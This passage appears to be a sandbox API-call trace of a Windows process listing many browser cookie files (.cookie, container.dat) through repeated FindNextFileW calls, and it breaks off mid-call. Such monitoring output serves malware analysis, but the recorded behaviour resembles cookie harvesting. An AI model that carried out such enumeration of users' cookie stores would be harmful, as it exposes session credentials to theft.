SetLastError (dwErrCode=0x0) [0192.646] GetLastError () returned 0x0 [0192.646] SetLastError (dwErrCode=0x0) [0192.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0192.646] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ff9642, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb1ff9642, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb1ff9642, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="069178ZX.cookie", cAlternateFileName="069178~1.COO")) returned 1 [0192.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5870 | out: hHeap=0x520000) returned 1 [0192.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0192.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f797e8 [0192.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0192.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67530 [0192.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f797e8 | out: hHeap=0x520000) returned 1 [0192.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6088 [0192.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67530 | out: hHeap=0x520000) returned 1 [0192.646] GetLastError () returned 0x0 [0192.647] SetLastError (dwErrCode=0x0) [0192.647] GetLastError () returned 0x0 [0192.647] SetLastError (dwErrCode=0x0) [0192.647] GetLastError () returned 0x0 [0192.647] SetLastError (dwErrCode=0x0) [0192.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63750 [0192.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63750 | out: hHeap=0x520000) returned 1 [0192.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0192.647] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3cc59e5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa3cc59e5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa3cc59e5, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="0926U4V3.cookie", cAlternateFileName="0926U4~1.COO")) returned 1 [0192.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6088 | out: hHeap=0x520000) returned 1 [0192.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0192.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f794b8 [0192.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67dc8 [0192.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f794b8 | out: hHeap=0x520000) returned 1 [0192.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d52a8 [0192.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67dc8 | out: hHeap=0x520000) returned 1 [0192.647] GetLastError () returned 0x0 [0192.647] SetLastError (dwErrCode=0x0) [0192.647] GetLastError () returned 0x0 [0192.647] SetLastError (dwErrCode=0x0) [0192.647] GetLastError () returned 0x0 [0192.647] SetLastError (dwErrCode=0x0) [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f636d8 [0192.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0192.648] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa808fb5e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa808fb5e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa80997af, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="1W27MN6L.cookie", cAlternateFileName="1W27MN~1.COO")) returned 1 [0192.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d52a8 | out: hHeap=0x520000) returned 1 [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79298 [0192.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67850 [0192.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79298 | out: hHeap=0x520000) returned 1 [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6af0 [0192.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67850 | out: hHeap=0x520000) returned 1 [0192.648] GetLastError () returned 0x0 [0192.648] SetLastError (dwErrCode=0x0) [0192.648] GetLastError () returned 0x0 [0192.648] SetLastError (dwErrCode=0x0) [0192.648] GetLastError () returned 0x0 [0192.648] SetLastError (dwErrCode=0x0) [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0192.648] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6022fff, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa6022fff, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa6022fff, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="38ZHXQ6A.cookie", cAlternateFileName="38ZHXQ~1.COO")) returned 1 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6af0 | out: hHeap=0x520000) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78ff0 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67d00 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ff0 | out: hHeap=0x520000) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6e68 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67d00 | out: hHeap=0x520000) returned 1 [0192.649] GetLastError () returned 0x0 [0192.649] SetLastError (dwErrCode=0x0) [0192.649] GetLastError () returned 0x0 [0192.649] SetLastError (dwErrCode=0x0) [0192.649] GetLastError () returned 0x0 [0192.649] SetLastError (dwErrCode=0x0) [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f635e8 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f635e8 | out: hHeap=0x520000) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0192.649] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16f7320, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa16f7320, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa16f7320, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="51EI2ZMG.cookie", cAlternateFileName="51EI2Z~1.COO")) returned 1 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6e68 | out: hHeap=0x520000) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79320 [0192.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67c38 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79320 | out: hHeap=0x520000) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d6af0 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67c38 | out: hHeap=0x520000) returned 1 [0192.650] GetLastError () returned 0x0 [0192.650] SetLastError (dwErrCode=0x0) [0192.650] GetLastError () returned 0x0 [0192.650] SetLastError (dwErrCode=0x0) [0192.650] GetLastError () returned 0x0 [0192.650] SetLastError (dwErrCode=0x0) [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60d560 [0192.650] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8037cff, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa8037cff, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa8037cff, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="7R2CZ8VX.cookie", cAlternateFileName="7R2CZ8~1.COO")) returned 1 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d6af0 | out: hHeap=0x520000) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78c38 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66ef0 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78c38 | out: hHeap=0x520000) returned 1 [0192.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x30d62d8 [0192.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.650] GetLastError () returned 0x0 [0192.650] SetLastError (dwErrCode=0x0) [0192.651] GetLastError () returned 0x0 [0192.651] SetLastError (dwErrCode=0x0) [0192.651] GetLastError () returned 0x0 [0192.651] SetLastError (dwErrCode=0x0) [0192.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f634f8 [0192.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60ea00 [0192.651] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b158975, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9b158975, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9b158975, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="8OEJM9K0.cookie", cAlternateFileName="8OEJM9~1.COO")) returned 1 [0192.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d62d8 | out: hHeap=0x520000) returned 1 [0192.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0192.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f794b8 [0192.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f679e0 [0192.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f794b8 | out: hHeap=0x520000) returned 1 [0192.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f679e0 | out: hHeap=0x520000) returned 1 [0192.651] GetLastError () returned 0x0 [0192.651] SetLastError (dwErrCode=0x0) [0192.651] GetLastError () returned 0x0 [0192.652] SetLastError (dwErrCode=0x0) [0192.652] GetLastError () returned 0x0 [0192.652] SetLastError (dwErrCode=0x0) [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.652] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2130936, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa2130936, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa2130936, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="8VSHOV3Z.cookie", cAlternateFileName="8VSHOV~1.COO")) returned 1 [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d68a0 | out: hHeap=0x520000) returned 1 [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78e58 | out: hHeap=0x520000) returned 1 [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f673a0 | out: hHeap=0x520000) returned 1 [0192.652] GetLastError () returned 0x0 [0192.652] SetLastError (dwErrCode=0x0) [0192.652] GetLastError () returned 0x0 [0192.652] SetLastError (dwErrCode=0x0) [0192.652] GetLastError () returned 0x0 [0192.652] SetLastError (dwErrCode=0x0) [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.652] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa028e354, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa028e354, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa028e354, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x136, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="8XKMVK96.cookie", cAlternateFileName="8XKMVK~1.COO")) returned 1 [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d69c8 | out: hHeap=0x520000) returned 1 [0192.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79188 | out: hHeap=0x520000) returned 1 [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f680e8 | out: hHeap=0x520000) returned 1 [0192.653] GetLastError () returned 0x0 [0192.653] SetLastError (dwErrCode=0x0) [0192.653] GetLastError () returned 0x0 [0192.653] SetLastError (dwErrCode=0x0) [0192.653] GetLastError () returned 0x0 [0192.653] SetLastError (dwErrCode=0x0) [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.653] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa74f318, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xaa74f318, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xaa74f318, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="90A0XGCB.cookie", cAlternateFileName="90A0XG~1.COO")) returned 1 [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d52a8 | out: hHeap=0x520000) returned 1 [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0192.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f68020 | out: hHeap=0x520000) returned 1 [0192.653] GetLastError () returned 0x0 [0192.653] SetLastError (dwErrCode=0x0) [0192.653] GetLastError () returned 0x0 [0192.653] SetLastError (dwErrCode=0x0) [0192.653] GetLastError () returned 0x0 [0192.653] SetLastError (dwErrCode=0x0) [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.654] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaecf5288, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xaecf5288, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xaecf5288, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="9ITKWZA9.cookie", cAlternateFileName="9ITKWZ~1.COO")) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d52a8 | out: hHeap=0x520000) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ff0 | out: hHeap=0x520000) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f673a0 | out: hHeap=0x520000) returned 1 [0192.654] GetLastError () returned 0x0 [0192.654] SetLastError (dwErrCode=0x0) [0192.654] GetLastError () returned 0x0 [0192.654] SetLastError (dwErrCode=0x0) [0192.654] GetLastError () returned 0x0 [0192.654] SetLastError (dwErrCode=0x0) [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f635e8 | out: hHeap=0x520000) returned 1 [0192.654] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8910631, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa8910631, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa8910631, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="B8VJSZ53.cookie", cAlternateFileName="B8VJSZ~1.COO")) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5180 | out: hHeap=0x520000) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f795c8 | out: hHeap=0x520000) returned 1 [0192.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.655] GetLastError () returned 0x0 [0192.655] SetLastError (dwErrCode=0x0) [0192.655] GetLastError () returned 0x0 [0192.655] SetLastError (dwErrCode=0x0) [0192.655] GetLastError () returned 0x0 [0192.655] SetLastError (dwErrCode=0x0) [0192.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.655] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1257b4d9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1257b4d9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1257b4d9, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0192.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5870 | out: hHeap=0x520000) returned 1 [0192.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ee0 | out: hHeap=0x520000) returned 1 [0192.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66ef0 | out: hHeap=0x520000) returned 1 [0192.655] GetLastError () returned 0x0 [0192.655] SetLastError (dwErrCode=0x0) [0192.655] GetLastError () returned 0x0 [0192.655] SetLastError (dwErrCode=0x0) [0192.655] GetLastError () returned 0x0 [0192.655] SetLastError (dwErrCode=0x0) [0192.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.655] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5c796d5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa5c796d5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa5c796d5, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="DEPEYPX1.cookie", cAlternateFileName="DEPEYP~1.COO")) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5180 | out: hHeap=0x520000) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f798f8 | out: hHeap=0x520000) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67148 | out: hHeap=0x520000) returned 1 [0192.656] GetLastError () returned 0x0 [0192.656] SetLastError (dwErrCode=0x0) [0192.656] GetLastError () returned 0x0 [0192.656] SetLastError (dwErrCode=0x0) [0192.656] GetLastError () returned 0x0 [0192.656] SetLastError (dwErrCode=0x0) [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f636d8 | out: hHeap=0x520000) returned 1 [0192.656] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa153fb53, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa153fb53, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa153fb53, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="DMWBP500.cookie", cAlternateFileName="DMWBP5~1.COO")) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5998 | out: hHeap=0x520000) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f798f8 | out: hHeap=0x520000) returned 1 [0192.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66978 | out: hHeap=0x520000) returned 1 [0192.656] GetLastError () returned 0x0 [0192.656] SetLastError (dwErrCode=0x0) [0192.657] GetLastError () returned 0x0 [0192.657] SetLastError (dwErrCode=0x0) [0192.657] GetLastError () returned 0x0 [0192.657] SetLastError (dwErrCode=0x0) [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.657] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7f57a4b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd7f57a4b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd7f58df1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x5e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="FE83WYZ0.txt", cAlternateFileName="")) returned 1 [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d54f8 | out: hHeap=0x520000) returned 1 [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79210 | out: hHeap=0x520000) returned 1 [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67dc8 | out: hHeap=0x520000) returned 1 [0192.657] GetLastError () returned 0x0 [0192.657] SetLastError (dwErrCode=0x0) [0192.657] GetLastError () returned 0x0 [0192.657] SetLastError (dwErrCode=0x0) [0192.657] GetLastError () returned 0x0 [0192.657] SetLastError (dwErrCode=0x0) [0192.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f634f8 | out: hHeap=0x520000) returned 1 [0192.657] FindNextFileW (in: hFindFile=0x30d4570, lpFindFileData=0x2e1fb24 | out: 